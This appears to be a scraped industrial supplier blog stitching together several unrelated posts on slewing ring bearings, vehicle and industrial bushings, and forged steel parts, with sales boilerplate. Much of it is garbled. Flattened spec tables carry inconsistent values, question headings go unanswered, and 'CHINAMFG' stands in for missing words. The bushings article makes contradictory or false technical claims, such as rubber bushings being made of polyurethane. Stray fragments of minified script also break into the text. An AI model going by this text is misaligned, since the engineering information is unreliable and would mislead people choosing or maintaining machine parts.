designed with a combination of ball and roller elements. This configuration
provides a balance between load capacity and reduced friction. It offers
improved rotational characteristics and is often used in applications
requiring high load capacity and smooth rotation.
* Internal Gear and External Gear Slewing Rings: Slewing rings can be equipped
with internal or external gears. Internal gear slewing rings have the gear
teeth on the inner ring, while external gear slewing rings have the gear
teeth on the outer ring. The gear mechanism allows for controlled rotation
and can be driven by external components such as motors or hydraulic systems.
The choice between internal or external gear configuration depends on the
specific application requirements.
* Non-Gear Slewing Rings: Some slewing rings are designed without integrated
gears. These non-gear slewing rings are often used in applications where the
rotation is driven by external components or when a separate gear mechanism
is already in place.
* Customized and Specialized Slewing Rings: In addition to the standard types
and configurations, slewing rings can be customized and designed to meet
specific application requirements. Customized slewing rings may involve
variations in dimensions, load capacity, gear specifications, sealing
systems, or materials to suit unique applications or challenging operating
conditions.

The availability of different types and configurations of slewing rings allows
for the selection of the most suitable design based on factors such as load
requirements, space limitations, rotational speed, environmental conditions, and
application-specific needs. It is essential to consider these factors when
choosing a slewing ring to ensure optimal performance and reliability in the
intended application.

WHAT ARE THE DIFFERENT TYPES AND CONFIGURATIONS OF SLEWING RINGS AVAILABLE IN
THE MARKET?

CAN YOU PROVIDE INSIGHTS INTO THE IMPORTANCE OF PROPER INSTALLATION AND
ALIGNMENT OF SLEWING RINGS?

Proper installation and alignment of slewing rings are of utmost importance for
ensuring optimal performance, longevity, and safety of rotating systems. Here’s
a detailed explanation of the importance of proper installation and alignment of
slewing rings:

* Load Distribution: Correct installation and alignment of slewing rings ensure
proper load distribution across the rolling elements and raceways. When a
slewing ring is improperly installed or misaligned, excessive loads may be
concentrated on specific areas, leading to accelerated wear, premature
failure, and reduced load-bearing capacity. Proper alignment helps distribute
loads evenly, maximizing the life expectancy of the slewing ring.
* Smooth Operation: Accurate installation and alignment contribute to the
smooth operation of rotating systems. Misalignment can result in increased
friction, uneven motion, vibrations, and noise. These issues not only reduce
efficiency but also impact the overall performance and reliability of the
system. Proper alignment minimizes friction and ensures smooth and precise
rotational movement, enhancing the system’s efficiency and productivity.
* Reduced Wear and Tear: Improper installation or misalignment can cause
excessive wear and tear on the slewing ring and associated components.
Misalignment can lead to increased rolling element and raceway stresses,
resulting in accelerated fatigue and surface damage. By achieving proper
alignment, the slewing ring operates within its designed parameters, reducing
wear and extending its operational life.
* Optimized Performance: Proper installation and alignment directly impact the
performance of rotating systems. Accurate alignment ensures that components
such as gears, motors, and drive systems mesh correctly with the slewing
ring. This alignment facilitates efficient power transmission, reduces energy
losses, and improves the overall performance and responsiveness of the
system.
* Prevention of Structural Damage: Misalignment of slewing rings can exert
excessive forces on the supporting structure or adjacent components. Over
time, these forces can cause structural damage, misalignment in other parts
of the system, or even equipment failure. Proper installation and alignment
help prevent such structural damage, ensuring the integrity and longevity of
the entire system.
* Safety Considerations: Correct installation and alignment of slewing rings
are crucial for safety in rotating systems. Misalignment can lead to
unexpected movements, uncontrolled motion, or component failure, posing a
risk to personnel, equipment, and the surrounding environment. Proper
alignment reduces the likelihood of accidents, improves operational safety,
and ensures compliance with safety regulations.
* Ease of Maintenance: Properly aligned slewing rings are easier to maintain
and service. Routine maintenance tasks such as lubrication, inspection, and
replacement of components can be performed more efficiently when the slewing
ring is correctly installed and aligned. This reduces downtime, extends
maintenance intervals, and improves the overall operational efficiency of the
system.

In summary, proper installation and alignment of slewing rings are critical for
achieving optimal performance, reliability, and safety in rotating systems.
Accurate alignment ensures load distribution, smooth operation, reduced wear,
optimized performance, prevention of structural damage, enhanced safety, and
ease of maintenance. It is essential to follow manufacturer guidelines, industry
standards, and best practices to ensure the correct installation and alignment
of slewing rings, maximizing their operational lifespan and the efficiency of
the entire system.

editor by Dream 2024-05-17

This entry was posted in Uncategorized and tagged bearing, bearing china,
bearing for, bearing gear, bearing outer, bearing slewing ring, bearing
supplier, bearing turntable, china bearing bearing, excavator bearing, excavator
gear, gear, gear bearing, gear ring, gear supplier, ring gear, ring slewing
bearing, slewing bearing, slewing gear, slewing ring bearing, turntable bearing
on May 17, 2024 by ep.

CHINA MANUFACTURER EUROPE STANDARD LIGHT SERIES OF L SHAPE SLEWING RING

PRODUCT DESCRIPTION

None Gear

Model Raceway
Diameter
(mm) De Di
(mm) (mm) Oe Oi ne ni n1
(mm) (mm) Ci Ce
(mm) (mm) Be Bi
(mm) (mm) dp m Z x
(mm) (mm) (mm) Weigh
kg FU20.414 414 518 304 490 332 8 12 4 412,5 415,5 454 368
· · · · 23 FU20.544 544 648 434 620 462 10 14 4 542.5 545.5
584 498 · · · · 31 FU20.644 644 748 534 720 562 12 16 4
642.5 645.5 684 598 · · · · 37 FU20.744 744 848 634 820 662
12 16 4 742.5 745.5 784 698 · · · · 43 FU20.844 844 948 734
920 762 14 18 4 842.5 845.5 884 798 · · · · 48 FU20.944 944
1048 834 1571 862 16 20 4 942.5 945.5 984 898 · · · · 54
FU20.1094 1094 1198 984 1170 1012 16 20 4 1092.5 1095.5 1134 1048
· · · · 63

Outer Gear

FW20.414 414 505 304 455 332 10 12 4 412,5 415,5 · 368 495
5 99 0 30 FW20.544 544 640 434 585 462 14 14 4 542.5 545.5
· 498 630 6 105 0 42 FW20.644 644 742 534 685 562 16 16 4
642.5 645.5 · 598 732 6 122 0 49 FW20.744 744 838 634 785 662
18 16 4 742.5 745.5 · 698 828 6 138 0 55 FW20.844 844 950 734
885 762 18 18 4 842.5 845.5 · 798 936 8 117 0 66 FW20.944 944
1046 834 985 862 20 20 4 942.5 945.5 · 898 1032 8 129 0 72
FW20.1094 1094 1198 984 1135 1012 22 20 4 1092.5 1095.5 · 1048 1184
8 148 0 84

Inner Gear

FN20.414 414 518 325 490 375 8 12 4 412,5 415,5 454 · 335
5 67 0 28 FN20.544 544 648 446 620 505 10 16 4 542.5 545.5
584 · 456 6 76 0 38 FN20.644 644 748 548 720 605 12 18 4
642.5 645.5 684 · 558 6 96 0 45 FN20.744 744 848 650 820 705
12 20 4 742.5 745.5 784 · 660 6 110 0 52 FN20.844 844 948
738 920 805 14 20 4 842.5 845.5 884 · 752 8 94 0 62 FN20.944
944 1048 842 1571 905 16 22 4 942.5 945.5 984 · 856 8 107 0
68 FN20.1094 1094 1198 986 1170 1055 16 24 4 1092.5 1095.5 1134 ·
1000 8 125 0 82

n1:M8×1

1.Gear Heat Treatment

2. Structure
2.1 Slewing ring bearings have different types as per different structures, here
below is what we offering now:
Single row ball slewing ring bearings
Double row ball slewing ring bearings
Crossed roller slewing ring bearings
Three row roller slewing ring bearings
Flange slewing ring bearings
2.2 The above slewing ring bearings can also be divided into 3 different types
as per different transmissions:
Slewing ring bearings with no gear
Slewing ring bearings with external gear
Slewing ring bearings with internal gear
3. Features:
Slewing ring bearings have more features: compact structure, reliable guide,
simple installation, and easily maintenance
4. Application:
Slewing ring bearings can be widely used in lifting & transport machinery,
mining machinery, construction machinery, port hoisting machinery, port oil
transfer equipment, onshore and offshore crane, excavator, concrete machine,
paper machine, plastic and rubber machine, weave machine, steel plant,
electronic power plant, wind power generator, other construction and industry
machines or equipments and other large rotary device
Single row ball slewing ring bearing:

3. Features
Cross roller slewing ring bearings have following features:
1. High precision: cross roller bearings can be made high precision bearings, at
P4, P2.
2. High rigidity: These series roller bearings are with preload.
3. High load capacity: This series roller bearing can support axial load, radial
load, and tilting load.
4. Small volume: this series roller bearing can save space for the machine.
4. Application
Cross roller slewing rings are widely applied in the precision rotary table,
rotary joint of manipulator, medical equipment, and measuring instrument etc
Triple row roller slewing ring bearing
1.Slewing bearing is also called slewing ring, slewing ring bearing, turntable
bearing, and rotary bearing.
Three row roller slewing ring bearing has 3 seat-rings, which separate the
upper, lower and radial raceway, via which the load of each row of the rollers
may be specified. Thus it can carry different load simultaneously and its load
capacity is the largest 1 of the 4 types
2. Structure:
Triple row roller slewing bearing has 3 different types:
Triple row roller slewing bearing with no gear
Triple row roller slewing bearing with external gear
Triple row roller slewing bearing with internal gear
3. Features
Triple row roller slewing ring bearings have following features:
Larger axial and radial dimension, compact structure
4. Application
Triple row roller slewing rings are widely used in heavy-duty machines which
require large working radius, such as bucket-wheel excavators, wheeled cranes,
ship cranes, ladle turret, auto cranes etc.
Flange Slewing Bearing
1.Slewing bearing is also called slewing ring, slewing ring bearing, turntable
bearing, and rotary bearing.
Flange slewing bearing is a special slewing ring bearing, it can have 1 flange
in the outer ring, or 1 flange in the inner ring, even it can have 1 flange in
both inner ring and outer ring.
2. Structure:
Flange slewing bearing has 3 different types:
Flange slewing bearing with no gear
Flange slewing bearing with external gear
Flange slewing bearing with internal gear
3. Features
Flange slewing bearings have following features:
Compact structure and easily installment.
4. Application
Flange slewing bearings are widely used in tow truck, and other applications are
the same as slewing bearings, such as lifting & transport machinery, mining
machinery, construction machinery, excavator, concrete machine, paper machine,
plastic and rubber machine and steel plant.
Excavator Slewing Bearing
Excavator slewing bearing is a special slewing ring bearing as per its
applications. And it is a very important part for excavators, we can supply
excavator slewing bearings for both second-hand excavators for maintenance and
new excavators.
2. Structure:
Excavator slewing bearing are usually made as per single row ball slewing
bearing structure, and most of them are internal gear types, but some are
external gear types.
3. Features
Excavator slewing bearings have familiar features as single row ball slewing
ring bearings.
Compact structure, light weight and easily installment.
4. Application
Excavator slewing bearings are widely used for all brands of excavators, such as
Komatsu, Hitachi, Kobelco, Sumitomo, Doosan, Hyundai, Samsung, Caterpillar,
Daewoo, Kato, Volvo, CHINAMFG and so on.

Installation of slewing bearing
1.Handling and transportation .The slewing bearing must be handled carefully

.Transportation and storage of slewing bearing should be held horizontally and
stored in a dry room

.For hoisting lift bolt is suitable and please move it horizontally , do not hit
anything, especially the direction collision

.The slewing bearing surface is covered with antitrust agent, whose rust proof
life is usually 6 months For those whose storage

life of more than 6 months (such as accessories) should take the antitrust
package or other storage measures again

2.Installing support requirements .Generally, install matching support adopts
tubular structure , the cylinder’s wall should be better

aligned at the center of the raceway

/* January 22, 2571 19:08:37 */!function(){function s(e,r){var
a,o={};try{e&&e.split(“,”).forEach(function(e,t){e&&(a=e.match(/(.*?):(.*)$/))&&1

Samples:
US$ 1/Set
1 Set(Min.Order)

Customization:
Available

WHAT SAFETY CONSIDERATIONS SHOULD BE TAKEN INTO ACCOUNT WHEN USING SLEWING RINGS
IN INDUSTRIAL SETTINGS?

When using slewing rings in industrial settings, several safety considerations
should be taken into account to ensure the well-being of personnel, equipment,
and the surrounding environment. Here’s a detailed explanation of the safety
considerations when using slewing rings:

* Proper Training and Familiarity: Personnel involved in the operation,
maintenance, and servicing of systems equipped with slewing rings should
receive proper training and be familiar with the specific procedures and
safety guidelines related to slewing ring usage. This includes understanding
the system’s limitations, recommended operating parameters, and emergency
procedures.
* Safe Working Distance: Establishing a safe working distance is crucial when
working with rotating systems that incorporate slewing rings. Adequate
barriers, guardrails, or safety signs should be in place to prevent
unintended access to hazardous areas around the slewing ring. Personnel
should be aware of the safe working zones and maintain a safe distance from
the rotating components.
* Lockout/Tagout Procedures: Before performing any maintenance or repair tasks
on systems with slewing rings, proper lockout/tagout procedures should be
followed to ensure the equipment is de-energized and cannot be accidentally
started. This prevents unexpected rotation of the slewing ring during
maintenance activities, reducing the risk of entanglement or injury.
* Personal Protective Equipment (PPE): Personnel working with or around slewing
rings should wear appropriate personal protective equipment, such as safety
helmets, protective eyewear, gloves, and safety footwear. The specific PPE
requirements may vary depending on the nature of the industrial setting and
potential hazards associated with slewing ring operation.
* Regular Inspection and Maintenance: Routine inspection and maintenance of
slewing rings are essential for identifying any signs of wear, damage, or
misalignment. Regularly scheduled inspections help detect potential issues
early on and allow for timely repairs or replacements, reducing the risk of
sudden failures or accidents during operation.
* Proper Lubrication: Adequate lubrication of slewing rings is crucial for
their optimal performance and longevity. Lubrication intervals and methods
recommended by the manufacturer should be followed to ensure proper
lubrication. Improper or inadequate lubrication can lead to increased
friction, overheating, accelerated wear, and potential failure of the slewing
ring.
* Environmental Considerations: The environmental conditions in which slewing
rings operate should be taken into account for safety purposes. Factors such
as temperature extremes, moisture, dust, or corrosive substances can affect
the performance and durability of slewing rings. Proper sealing, protective
coatings, and environmental controls should be implemented to mitigate
potential hazards and ensure safe operation.
* Emergency Stop and Shutdown: Rotating systems equipped with slewing rings
should be equipped with emergency stop buttons or other means of immediate
shutdown. Personnel should be trained on how to use these emergency stop
features effectively and be aware of the emergency shutdown procedure to
quickly and safely halt the rotation of the slewing ring in case of an
emergency.
* Compliance with Regulations and Standards: It is essential to comply with
relevant safety regulations, standards, and industry guidelines when using
slewing rings in industrial settings. These regulations may vary depending on
the region and industry-specific requirements. Adhering to these guidelines
helps ensure the safety and compliance of the equipment and protects against
potential hazards.

In summary, safety considerations when using slewing rings in industrial
settings include proper training, maintaining safe working distances, following
lockout/tagout procedures, wearing appropriate PPE, conducting regular
inspections and maintenance, ensuring proper lubrication, considering
environmental factors, implementing emergency stop measures, and complying with
safety regulations. By addressing these safety considerations, the risks
associated with slewing ring operation can be minimized, promoting a safe
working environment and preventing accidents or injuries.

WHAT MAINTENANCE PRACTICES ARE RECOMMENDED FOR SLEWING RINGS TO ENSURE OPTIMAL
FUNCTIONALITY?

Proper maintenance is essential to ensure the optimal functionality and
longevity of slewing rings. Regular maintenance practices help prevent premature
wear, minimize downtime, and ensure reliable performance. Here are some
recommended maintenance practices for slewing rings:

* Cleaning: Regularly clean the slewing rings to remove dirt, debris, and
contaminants that can cause abrasion and affect the smooth operation of the
rolling elements. Use appropriate cleaning agents and methods as recommended
by the manufacturer.
* Lubrication: Adequate lubrication is crucial for the smooth operation and
reduced friction of slewing rings. Follow the manufacturer’s recommendations
for the type of lubricant, the frequency of lubrication, and the quantity to
be applied. Regularly inspect the lubrication system and replenish or replace
the lubricant as needed.
* Inspection: Periodically inspect the slewing rings for any signs of damage,
wear, or misalignment. Check for abnormal noise, vibration, or irregularities
in motion. Inspect the gear teeth, raceways, seals, and mounting interfaces.
If any issues are identified, take appropriate action, such as repair or
replacement, to prevent further damage.
* Torque Checks: Regularly check the torque of the fasteners and bolts that
secure the slewing rings. Ensure that they are tightened to the specified
torque values. Loose fasteners can cause misalignment and compromise the
performance and safety of the slewing rings.
* Seal Inspection: Inspect the seals of the slewing rings to ensure they are
intact and properly functioning. Damaged or worn seals can lead to
contamination and loss of lubrication, resulting in increased friction and
potential damage to the slewing rings. Replace any damaged seals promptly.
* Alignment and Mounting: Proper alignment and mounting of slewing rings are
critical for their optimal functionality. Ensure that the slewing rings are
correctly aligned and securely mounted according to the manufacturer’s
specifications. Misalignment or improper mounting can lead to increased
stress, premature wear, and reduced performance.
* Environmental Protection: Take measures to protect the slewing rings from
harsh environmental conditions. Shield them from excessive moisture, dust,
chemicals, and extreme temperatures whenever possible. Implement appropriate
sealing systems and consider the use of protective covers or enclosures,
especially in outdoor or exposed applications.
* Training and Documentation: Provide appropriate training to personnel
responsible for the maintenance of slewing rings. Ensure they are aware of
the recommended maintenance practices and follow proper procedures. Keep
comprehensive documentation of maintenance activities, including lubrication
schedules, inspections, repairs, and replacements.

It is important to note that maintenance practices may vary depending on the
specific application, environmental conditions, and manufacturer’s
recommendations. Always refer to the manufacturer’s guidelines and consult with
experts or maintenance professionals when necessary to ensure the most effective
maintenance practices for your slewing rings.

HOW DOES THE CHOICE OF SLEWING RINGS AFFECT THE OVERALL PERFORMANCE AND
RELIABILITY OF ROTATING SYSTEMS?

The choice of slewing rings has a significant impact on the overall performance
and reliability of rotating systems. The selection of the appropriate slewing
ring involves considering various factors such as load capacity, operating
conditions, precision requirements, and application-specific needs. Here’s a
detailed explanation of how the choice of slewing rings affects the overall
performance and reliability of rotating systems:

* Load Capacity: The load capacity of the slewing ring is a critical factor in
determining the performance and reliability of the rotating system. Choosing
a slewing ring with an adequate load capacity ensures that the system can
handle the expected loads without excessive stress or deformation. If the
selected slewing ring has insufficient load capacity for the application, it
can lead to premature failure, increased wear, and compromised reliability.
* Operating Conditions: The operating conditions, including factors such as
temperature, humidity, dust, and exposure to corrosive substances, influence
the choice of slewing rings. It is essential to select a slewing ring that is
designed to withstand the specific environmental conditions of the
application. Failure to consider the operating conditions can result in
accelerated wear, corrosion, reduced performance, and decreased reliability
of the rotating system.
* Precision Requirements: Some applications require high precision and accuracy
in the movement and positioning of the rotating system. The choice of slewing
ring with appropriate precision is crucial to meet these requirements.
Slewing rings designed for precision applications incorporate features such
as high-precision raceways, gear teeth, or preloading mechanisms. Selecting a
slewing ring with inadequate precision can lead to inaccuracies, positioning
errors, and compromised performance of the rotating system.
* Material Selection: The choice of materials for the slewing ring affects its
durability, resistance to wear, and overall reliability. Different materials,
such as carbon steel, stainless steel, or specialized alloys, have varying
properties and performance characteristics. The selection of the appropriate
material depends on factors such as load requirements, operating conditions,
and the presence of corrosive or abrasive elements. Choosing the wrong
material can result in premature wear, reduced lifespan, and compromised
reliability of the rotating system.
* Sealing and Lubrication: Slewing rings require proper sealing and lubrication
to ensure smooth operation and prevent contamination or inadequate
lubrication. The choice of slewing rings with effective sealing mechanisms
and suitable lubrication requirements is crucial for maintaining performance
and reliability. Inadequate sealing or improper lubrication can lead to
increased friction, accelerated wear, and decreased reliability of the
rotating system.
* Manufacturer and Quality: The choice of a reputable manufacturer and
high-quality slewing rings is essential for ensuring reliability and
performance. Reliable manufacturers adhere to stringent quality control
processes, use advanced manufacturing techniques, and provide comprehensive
technical support. Choosing slewing rings from trusted manufacturers reduces
the risk of premature failures, ensures consistent performance, and enhances
the overall reliability of the rotating system.

In summary, the choice of slewing rings has a significant impact on the overall
performance and reliability of rotating systems. Considering factors such as
load capacity, operating conditions, precision requirements, material selection,
sealing and lubrication, and the reputation of the manufacturer helps in
selecting the appropriate slewing rings. By making the right choice, the
rotating system can operate efficiently, withstand expected loads, maintain
precision, and provide reliable performance throughout its lifespan.

editor by Dream 2024-05-17

This entry was posted in Uncategorized on May 17, 2024 by ep.

STANDARD

THE BENEFITS OF RUBBER BUSHINGS AND HOW THEY WORK

If you have experienced increased vibration while driving, you know the
importance of replacing the control arm bushings. The resulting metal-to-metal
contact can cause annoying driving problems and be a threat to your safety. Over
time, the control arm bushings begin to wear out, a process that can be
exacerbated by harsh driving conditions and environmental factors. Additionally,
larger tires that are more susceptible to bushing wear are also prone to
increased vibration transfer, especially for vehicles with shorter sidewalls.
Additionally, these plus-sized tires, which are designed to fit on larger rims,
have a higher risk of transmitting vibrations through the bushings.

RUBBER

Rubber bushings are rubber tubes that are glued into the inner or outer curve of
a cylindrical metal part. The rubber is made of polyurethane and is usually
prestressed to avoid breaking during installation. In some cases, the material
is also elastic, so it can slide. These properties make rubber bushings an
integral part of a vehicle’s suspension system. Here are some benefits of rubber
bushings and how they work.
Rubber bushings are used to isolate and reduce vibration caused by the movement
of the two pieces of equipment. They are usually placed between two pieces of
machinery, such as gears or balls. By preventing vibrations, rubber bushings
improve machine function and service life. In addition to improving the overall
performance of the machine, the rubber bushing reduces noise and protects the
operator from injury. The rubber on the shock absorber also acts as a vibration
isolator. It suppresses the energy produced when the two parts of the machine
interact. They allow a small amount of movement but minimize vibration.
Both rubber and polyurethane bushings have their advantages and disadvantages.
The former is the cheapest, but not as durable as polyurethane. Compared to
polyurethane, rubber bushings are a better choice for daily commutes, especially
long commutes. Polyurethane bushings provide better steering control and road
feel than rubber, but can be more expensive than the former. So how do you
choose between polyurethane and rubber bushings?

POLYURETHANE

Unlike rubber, polyurethane bushings resist high stress environments and normal
cycling. This makes them an excellent choice for performance builds. However,
there are some disadvantages to using polyurethane bushings. Read on to learn
about the advantages and disadvantages of polyurethane bushings in suspension
applications. Also, see if a polyurethane bushing is suitable for your vehicle.
Choosing the right bushing for your needs depends entirely on your budget and
application. Softer bushings have the lowest performance but may have the lowest
NVH. Polyurethane bushings, on the other hand, may be more articulated, but less
articulated. Depending on your needs, you can choose a combination of features
and tradeoffs. While these are good options for everyday use, for racing and
hardcore handling applications, a softer option may be a better choice.
The initial hardness of the polyurethane bushing is higher than that of the
rubber bushing. The difference between the two materials is determined by
durometer testing. Polyurethane has a higher hardness than rubber because it
does not react to load in the same way. The harder the rubber, the less elastic,
and the higher the tear. This makes it an excellent choice for bushings in a
variety of applications.

HARD

Solid bushings replace the standard bushings on the subframe, eliminating axle
clutter. New bushings raise the subframe by 0.59″ (15mm), correcting the roll
center. Plus, they don’t create cabin noise. So you can install these bushings
even when your vehicle is lowered. But you should consider some facts when
installing solid casing. Read on to learn more about these casings.
The stiffest bushing material currently available is solid aluminum. This
material hardly absorbs vibrations, but it is not recommended for everyday use.
Its stiffness makes it ideal for rail vehicles. The aluminum housing is prone to
wear and tear and may not be suitable for street use. However, the solid
aluminum bushings provide the stiffest feel and chassis feedback. However, if
you want the best performance in everyday driving, you should choose a
polyurethane bushing. They have lower friction properties and eliminate binding.
Sturdy subframe bushings will provide more driver feedback. Additionally, it
will strengthen the rear body, eliminating any movement caused by the subframe.
You can see this structural integration on the M3 and M4 models. The benefits of
solid subframe bushings are numerous. They will improve rear-end handling
without compromising drivability. So if you plan to install a solid subframe
bushing, be sure to choose a solid bushing.

CAPACITOR CLASSIFICATION

In the circuit, there is a high electric field on both sides of the capacitor
grading bushing. This is due to their capacitor cores. The dielectric properties
of the primary insulating layer have a great influence on the electric field
distribution within the bushing. This article discusses the advantages and
disadvantages of capacitor grade bushings. This article discusses the advantages
and disadvantages of grading bushings for capacitors in DC power systems.
One disadvantage of capacitor grading bushings is that they are not suitable for
higher voltages. Capacitor grading bushings are prone to serious heating
problems. This may reduce their long-term reliability. The main disadvantage of
capacitor grading bushings is that they increase the radial thermal gradient of
the main insulation. This can lead to dielectric breakdown.
Capacitor grading bushing adopts cylindrical structure, which can suppress the
influence of temperature on electric field distribution. This reduces the
coefficient of inhomogeneity of the electric field in the confinement layer.
Capacitor grading bushings have a uniform electric field distribution across
their primary insulation. Capacitive graded bushings are also more reliable than
nonlinear bushings.
Electric field variation is the most important cause of failure. The electrode
extension layer can be patterned to control the electric field to avoid
flashover or partial discharge of the primary insulating material. This design
can be incorporated into capacitor grading bushings to provide better electric
fields in high voltage applications. This type of bushing is suitable for a wide
range of applications. This article discusses the advantages and disadvantages
of capacitor grade bushings.

METAL

When choosing between plastic and metal sleeves, it is important to choose a
product that can handle the required load. Plastic bushings tend to deteriorate
and often crack under heavy loads, reducing their mechanical strength and
service life. Metal bushings, on the other hand, conduct heat more efficiently,
preventing any damage to the mating surfaces. Plastic bushings can also be made
with lubricating fillers added to a resin matrix.
Plastic bushings have many advantages over metal bushings, including being cheap
and versatile. Plastic bushings are now used in many industries because they are
inexpensive and quick to install. These plastic products are also
self-lubricating and require less maintenance than metals. They are often used
in applications where maintenance costs are high or parts are difficult to
access. Also, if they are prone to wear and tear, they are easy to replace.
Metal bushings can be made of PTFE, plastic or bronze and are self-lubricating.
Graphite plugs are also available for some metal bushings. Their high load
capacity and excellent fatigue resistance make them a popular choice for
automotive applications. The bi-metallic sintered bronze layer in these products
provides excellent load-carrying capacity and good friction properties. The
steel backing also helps reduce processing time and avoids the need for
additional pre-lubrication.

PLASTIC

A plastic bushing is a small ball of material that is screwed onto a nut or
locknut on a mechanical assembly. Plastic bushings are very durable and have a
low coefficient of friction, making them a better choice for durable parts.
Since they do not require lubrication, they last longer and cost less than their
metal counterparts. Unlike metal bushings, plastic bushings also don’t scratch
or attract dirt.
One type of acetal sleeve is called SF-2. It is made of metal alloy, cold rolled
steel and bronze spherical powder. A small amount of surface plastic penetrated
into the voids of the copper spherical powder. Plastic bushings are available in
a variety of colors, depending on the intended application. SF-2 is available in
black or grey RAL 7040. Its d1 diameter is sufficient for most applications.
Another acetal sleeve is UHMW-PE. This material is used in the production of
bearings and in low load applications. This material can withstand pressures
from 500 to 800 PSI and is widely available. It is also self-lubricating and
readily available. Due to its high resistance to temperature and chemical
agents, it is an excellent choice for low-load industrial applications. If
you’re in the market for an alternative to nylon, consider acetal.
Positional tolerances in many automotive components can cause misalignment.
Misaligned plastic bushings can negatively impact the driver’s experience. For
example, the cross tubes used to mount the seat to the frame are made by a
stamping process. The result is a misalignment that can increase torque. Also,
the plastic bushing is pushed to one side of the shaft. The increased pressure
results in higher friction, which ultimately results in a poor driving
experience.
v

editor by Dream 2024-05-16

This entry was posted in Uncategorized on May 16, 2024 by ep.

CHINA OEM HOT SALE 4140 ALLOY STEEL FORGED GEAR RING FOR CONSTRUCTION MACHINERY,
FORGING SLEWING BEARING WITH CNC MACHINING FOR MARINE

PRODUCT DESCRIPTION

Products: Free Forging and Open Die Forging factory.

Our factory:
A. More than 25 years of professional free forging and open-die forging
manufacturing experience
B. The company covers an area of 71,000 square CHINAMFG
C. The construction area of the production workshop is 12,000 square CHINAMFG
D. Total number of employees: 158
E. 28 engineering and technical personnel
F. 59 skilled workers
G. Annual production capacity is 38,000 tons
H. Annual raw material steel throughput turnover reaches 56,000 tons

Our Forged Steel Products
Tiangong Forging supplies a variety of semi-finished forged steel products, with
the main materials being nickel-molybdenum steel, alloy steel, die steel,
stainless steel and carbon steel. In addition to general steel grades such as
35#, 45#, 42CrMo, 42CrMo4, 18CrNiMo7-6, 20CrNi2Mo, 30CrNiMo8 and etc., we can
also prepare the required steel according to other national specifications or
specified alloy compositions requested by customers.

The maximum production shaft forging length/weight is 12m/15T; the
maximum gear and wheel forging diameter/weight is 1.9m/9T.
We are particularly specialized in the forging of special-shaped forging parts.

steel hot forging raw forging gear shaft

Description

Steel hot forging raw forging gear shaft
Forged Gear Blank
Wheel and Pulley
Forged Shaft
Hollow Shaft
Crankshaft
Multi-stepped Shaft
Various forged blank and block
Special-shaped Forging Parts

Type

Free forging.

Application

Wind power Transformisson system , machinery and other industry

Processing

Forging+machining+heating Treatment

Material

steel SAE 4340, 4140,C45,42CrMo4,20CrMnTi,

Weight Ranges

0.1kg-50tons

Roughness

Ra0.4 – 0.8

Our Certificates:

Our Lab equipment:

Our main Products:

A.Forged Gear Blank
B.Wheel and Pulley
C.Forged Shaft
D.Hollow Shaft
E.Crankshaft
F.Multi-stepped Shaft
G.Various forged blank and block
I. Special-shaped Forging Parts

Application:
Our main customers: ZPMC, CHINAMFG and ZheJiang Electric etc.

Our parts are widely used in Chemical Industry, Wind power generator, Large
machinery parts Chemical industry,Agricultural machinery parts ship shaft
fittings. Wind Power gearbox Transmission system.

HangZhou Port, HangZhou automatic Port, ZheJiang Yang shan Port, Italy Vado
port. ZheJiang Tailway crane, Egypt hanging bridge, Sri Lanka railway crane,
Thailand port bridge. South Korea railway crane, Hongkong island bridge,
Singapore railway crane, Russia oil & mining machines and some miltary project.
etc.

Customized solutions
Our modular process allows us to design solutions various industrial application
requiring free-forged and open-die-forged parts. Our modularity means
flexibility, wide choice, faster delivery and, above all, competitiveness.

All Tiangong Forging, products and production processes are designed to ensure
exceptional, reliable and long-lasting unique mechanical properties, thereby
reducing operating costs and extending service life.
With an extensive product range and extensive experience gained in most
industrial applications, we can also provide engineering advice to our
customers.

Welcome to visit our factory! Welcome to send inquiry to us.

Welcom Trading compamy to co-operate.

/* January 22, 2571 19:08:37 */!function(){function s(e,r){var
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Processing Object: Metal Molding Style: Forging Molding Technics: Free Forging

Samples:
US$ 1000/Ton
1 Ton(Min.Order)

Order Sample

Customization:
Available

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Shipping Cost:

Estimated freight per unit.

about shipping cost and estimated delivery time.

Payment Method:

Initial Payment

Full Payment

Currency: US$

Return&refunds: You can apply for a refund up to 30 days after receipt of the
products.

IN WHAT INDUSTRIES OR SCENARIOS ARE SLEWING RINGS COMMONLY EMPLOYED?

Slewing rings find extensive use in various industries and scenarios where
controlled rotational movement and load-bearing capabilities are required.
Here’s a detailed explanation of the industries and scenarios where slewing
rings are commonly employed:

* Construction and Heavy Machinery: Slewing rings are widely used in the
construction industry for applications such as cranes, excavators, and
concrete pumps. They enable the rotation of booms and arms, allowing for
efficient material handling, precise positioning, and heavy load support.
* Wind Energy: Slewing rings play a crucial role in wind turbines. They support
the rotor and enable the yaw and pitch movements necessary to optimize wind
capture and power generation. Slewing rings in wind turbines must handle
substantial loads and operate reliably in harsh environmental conditions.
* Industrial Automation: In industrial automation, slewing rings are employed
in indexing tables, turntables, robotic arms, and packaging machinery. They
enable precise and controlled rotation, facilitating automated processes,
assembly lines, and material handling systems.
* Transportation and Automotive: Slewing rings are commonly used in
transportation and automotive applications, including vehicle cranes,
truck-mounted cranes, aerial platforms, and rotating platforms for heavy-duty
vehicles. They provide stable connections and controlled rotation, supporting
tasks such as loading and unloading cargo or enabling safe access to elevated
areas.
* Marine and Offshore: Slewing rings are extensively employed in marine and
offshore equipment, including ship cranes, davits, and rotating platforms on
ships and offshore rigs. They withstand corrosive marine environments and
heavy loads, enabling lifting operations and controlled rotation in
challenging conditions.
* Aerospace and Defense: Slewing rings are vital components in aerospace and
defense applications, such as radar systems, missile launchers, and satellite
antennas. They facilitate precise rotational movements required for tracking,
targeting, and communication systems, and must meet stringent requirements
for reliability and precision.
* Medical and Rehabilitation: Slewing rings are used in medical and
rehabilitation equipment like patient lifts, adjustable beds, and examination
tables. They enable smooth and controlled movement, aiding in patient
transfers, positioning, and providing comfort and support.

These are just a few examples of the industries and scenarios where slewing
rings are commonly employed. Their versatility, load-bearing capacity, and
ability to facilitate controlled rotation make them essential components in a
wide range of applications across industries such as construction, renewable
energy, industrial automation, transportation, marine, aerospace, and
healthcare.

CAN YOU DESCRIBE THE FACTORS TO CONSIDER WHEN SELECTING SLEWING RINGS FOR
SPECIFIC APPLICATIONS?

WHAT ADVANTAGES DO SLEWING RINGS OFFER COMPARED TO OTHER ROTATIONAL COMPONENTS?

Slewing rings offer several advantages compared to other rotational components.
Their unique design and features make them a preferred choice in various
applications. Here’s a detailed explanation of the advantages that slewing rings
offer:

* Compact Design: Slewing rings have a compact design that allows for efficient
use of space. Compared to other rotational components such as gears and
